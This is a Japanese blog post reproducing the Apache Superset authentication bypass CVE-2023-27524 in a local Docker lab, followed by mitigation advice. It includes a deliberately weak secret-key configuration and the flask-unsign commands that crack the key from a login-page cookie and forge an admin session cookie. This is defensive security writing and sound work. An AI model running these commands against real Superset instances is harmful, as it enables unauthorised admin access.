CVE-2023-27524: Supersetの認証回避の攻撃手法を検証してみた

はじめに

Apache Supersetは、データ可視化ツールとして広く採用されているOSSです。ブラウザベースでDBのクエリをグラフや表で可視化でき、ECサイトの売上分析やSaaSの利用状況分析など、多岐にわたる用途で利用されています。

以前、弊社でSupersetを運用しているプロジェクトにて、CVE-2023-27524という認証回避の脆弱性が問題になったことがありました。幸い実被害はなく、その後のプロジェクト終了に伴いSupersetも運用を停止しましたが、そのとき実際に攻撃手法を再現して安全性を検証したことがあります。

本記事では備忘録も兼ねて、この脆弱性がなぜ発生するのか、どのように攻撃が成立するのか、そして対策方法について技術的な視点で紹介します。

TL;DR

  • CVE-2023-27524は、Apache Supersetにおける認証回避の脆弱性です
  • シークレットキーを適切に設定しましょう
  • さもなくば、攻撃者はセッションを偽造して任意のユーザーでログインできてしまいます
  • 脆弱性情報で「影響なし」のバージョンであっても、設定不備などで脆弱性がある場合もあるので注意
  • シークレットキーだけでなく、多層的な防御で攻撃を防ぐのも重要です

検証環境

  • Apache Superset 2.1.0
  • Ubuntu 24.04 (WSL 2)
  • Python 3.12
  • ※ DockerとPythonが使えればだいたいどんな環境でもOKです

免責事項: 悪用禁止

本記事の内容はセキュリティ対策の向上を目的としており、第三者のシステムに対する攻撃を推奨するものではありません。脆弱性の検証は必ず自身が管理する環境で行ってください。許可なく第三者のシステムに攻撃することは、不正アクセス禁止法などに抵触する犯罪行為となります。

攻撃を再現する

実際に手を動かして脆弱性を確かめてみます。当然ですが実在する環境に対しては決して実施しないでください。

脆弱なSupersetを準備

まずは攻撃対象となるSuperset環境をローカルに用意します。適当なディレクトリに次のcompose.ymlを作ります。以下のcompose.ymlでは、脆弱性の検証用にあえて推測しやすい SUPERSET_SECRET_KEY を設定しています。

services:
  superset:
    image: apache/superset:2.1.0
    user: "root" # 権限エラー回避のためrootで実行
    environment:
      - SUPERSET_LOAD_EXAMPLES=no
      # 【脆弱性検証用】
      # CVE-2023-27524 検証用。必要に応じて変更またはコメントアウトしてください。
      - SUPERSET_SECRET_KEY=MY_SECRET_KEY
    ports:
      - "8088:8088"
    volumes:
      - superset_home:/app/superset_home
    command: >
      /bin/sh -c "
      superset db upgrade &&
      superset fab create-admin --username admin --firstname Admin --lastname User --email admin@example.com --password admin || true &&
      superset init &&
      superset run -h 0.0.0.0 -p 8088 --with-threads --reload --debugger
      "

volumes:
  superset_home:

docker compose up -d で起動後、ブラウザで http://localhost:8088 にアクセスするとログイン画面が表示されます。compose.ymlに記載のとおり、ユーザー名 admin 、パスワード admin でログインできます。

攻撃を検証する

CVE-2023-27524の本質は、署名鍵である SUPERSET_SECRET_KEY が推測された場合、攻撃者がセッションCookieを偽造し、任意のユーザーになりすませる点にあります。

攻撃にはflask-unsignというツールを使用します。

# venvで仮想環境を作る (しなくてもOK)
python -m venv .venv
source .venv/bin/activate

# flask-unsignをインストール
pip install flask-unsign[wordlist]

これで準備OKです。まず、Supersetのログイン画面(http://localhost:8088)にアクセスし、ログインしていない状態でブラウザのDevTools等から “session” という名前のCookie値を取得します。

取得したCookieの文字列を flask-unsign で解析します。

flask-unsign --unsign --cookie "<取得したCookieの値>"
$ flask-unsign --unsign --cookie "<取得したCookieの値>"
[*] Session decodes to: {'csrf_token': 'daae7b8d17d11174b814c77f787c67dc28dd4f1f', 'locale': 'en'}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (2176): -----BEGIN PRIVATE KEY-----ECR
[+] Found secret key after 9856 attemptsION_KEYZQ41a
'MY_SECRET_KEY'

今回は SUPERSET_SECRET_KEY をあえて脆弱にしているので、flask-unsignを使うと “MY_SECRET_KEY” とサーバーに設定したシークレットキーが割り出されています。ここで重要なのは、flask-unsignにはサーバーに設定されている環境変数の情報を渡していない点です。つまり、脆弱なシークレットキーを使っていると、ログイン画面を開いたときのCookieの情報だけでシークレットキーを割り出すことができてしまします。

Supersetはセッションをシークレットキーで署名した上で、ブラウザ上のCookieに保存しています。そのため、シークレットキーが判明すれば、任意のセッションデータを作成して署名することができます。Supersetではセッションに{'_user_id': 1}のようにユーザーIDを保存している(ログイン済みブラウザのセッションを確認すれば分かります)ので、flask-unsignで次のようにしてセッションを作成します。

flask-unsign --sign --cookie "{'_user_id': 1}" --secret "MY_SECRET_KEY"

出力された文字列(例: eyJfdXNlcl9pZCI6MX0...)を、ブラウザのCookieの “session” 値として上書きし、ページを再読み込みします。すると、パスワードを入力することなく管理者権限(Admin User)でログインした状態になります。この一連の手順で、IDとパスワードが分からなくてもログインできてしまうことが分かりました。

攻撃手法のまとめ

このCVE-2023-27524の方法をまとめると次の3点です。

  1. セッション管理: Superset(Flask)はセッションデータをCookieに保存します。シークレットキーで署名することで改ざんを防いでいます
  2. 鍵の特定: 署名に使われるシークレットキーが脆弱な場合、総当たりで鍵を特定できます。
  3. なりすまし: 鍵さえあれば、攻撃者は「私は管理者(ID:1)です」という正しい署名付きCookieを自分で作成できます

特にFlaskベースのアプリケーションでは、Cookieにセッションの本体を保存している背景が重要です。Cookieはブラウザで保存しているため、クライアントサイドで確認・変更が容易にできます。一方、LaravelやSymfonyなどのアプリケーションでは、CookieにはランダムなセッションIDのみを保存し、セッションの本体はサーバーサイドのファイルやDBに保存することが多いです。サーバーサイドでセッションを管理していれば、セッションの内容をクライアントサイドで書き換えることはできないため今回の攻撃手法は使えません。Supersetでもオプションで設定可能だそうです。

また、ユーザーID(1,2,3…)が連番になっていて予測しやすいのも攻撃が容易なポイントです。多くの場合、管理者ユーザーを最初に作るとIDが1になるので、決め打ちで {'_user_id': 1} というセッションを偽造すると管理者権限でログインできてしまいます。例えばユーザーIDがUUIDであれば攻撃は難しくなっていました。

対策

根本的な対策

CVE-2023-27524はSupersetのシークレットキー SUPERSET_SECRET_KEY が脆弱であることに起因します。そのため適切にランダムな文字列を設定することで対策できます。実際、compose.ymlで SUPERSET_SECRET_KEY="safe_secret_key_hxq@UPE6wjv" など予測できない文字にすることで攻撃を防げます。この場合、

$ flask-unsign --unsign --cookie $COOKIE
[*] Session decodes to: {'csrf_token': '81ca9d9c669dc95817de120a6b6a821cfedf4519', 'locale': 'en'}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (2176): -----BEGIN PRIVATE KEY-----ECR
[*] Attempted (38400): w.;>{1 a randomly generated st
[!] Failed to find secret key after 55982 attempts.am

“Failed to find secret key” とあるようにシークレットキーが割り出せません。キーが特定できなければ署名の偽造もできないため、サーバー側で不正なCookieとして弾かれ、攻撃は成立しません。

対策漏れに注意

Superset v2.1.0以降では、環境変数 SUPERSET_SECRET_KEY が未指定の場合などは、次のようにそもそも起動できないようになっています。

$ docker compose up
[+] Running 1/1
 ✔ Container superset-vulns-superset-1  Recreated  0.2s 
Attaching to superset-1
superset-1  | --------------------------------------------------------------------------------
superset-1  |                                     WARNING
superset-1  | --------------------------------------------------------------------------------
superset-1  | A Default SECRET_KEY was detected, please use superset_config.py to override it.
superset-1  | Use a strong complex alphanumeric string and use a tool to help you generate 
superset-1  | a sufficiently random sequence, ex: openssl rand -base64 42
superset-1  | --------------------------------------------------------------------------------
superset-1  | --------------------------------------------------------------------------------
superset-1  | Refusing to start due to insecure SECRET_KEY

しかし、Docker Composeで環境変数を設定して起動している場合にはこのチェックがされないケースもあるようです。冒頭で述べた案件での問題もこれが原因で脆弱な状態になっていました。脆弱性情報では「CVE-2023-27524は v2.0.1 以下が影響を受ける」と報告されていますが、v2.1.0以降でも設定次第でこのように脆弱なまま運用されている場合があります。バージョンが新しいからといって脆弱性が無いわけではないという点、とても見落としがちなので注意が必要です。

多層防御: アクセス制限など

一般的にセキュリティ対策では多重的な防御が重要とされています。例えば今回の例では、接続元IPアドレスによるアクセス制限や、Basic認証などを設定していれば、攻撃者がそもそもアクセスできないため被害を防げました。

また、もしも被害があった際の調査のため、安全なログの保存も重要です。Supersetでは監査ログもありますが有効化できますし、AWSならALBのアクセスログを保存しておくなども有効です。

最後に

この記事ではflask-unsignを使って脆弱なSupersetにログインできることをご紹介しました。こうしてみるとflask-unsignがとても悪いことをするツールのように見えますが、あくまで「設定されがちな弱いキーのリスト」を総当たりで照合しているに過ぎません。難しいことをしなくても、セッションとCookieに関する知識がちょっとあるだけでこの脆弱性を突くことができてしまいます。

この脆弱性はSupersetに限った話ではなく、同様にCookieにセッションを保存しているアプリケーションであれば同様です。例えば、Suprsetと同じくFlask製のBIツールであるRedashでも同様の脆弱性(CVE-2021-41192)が以前存在していました。インストール方法が適切であればシークレットキーも適切に設定されるはずですが、よく注意して運用する必要があります。

以上、「Supersetなど、FlaskベースのアプリケーションはCookieにセッションを保存しがちなのでシークレットキーが漏れると非常にまずい」という記事でした。みなさまのシステム運用の参考になれば幸いです。

参考文献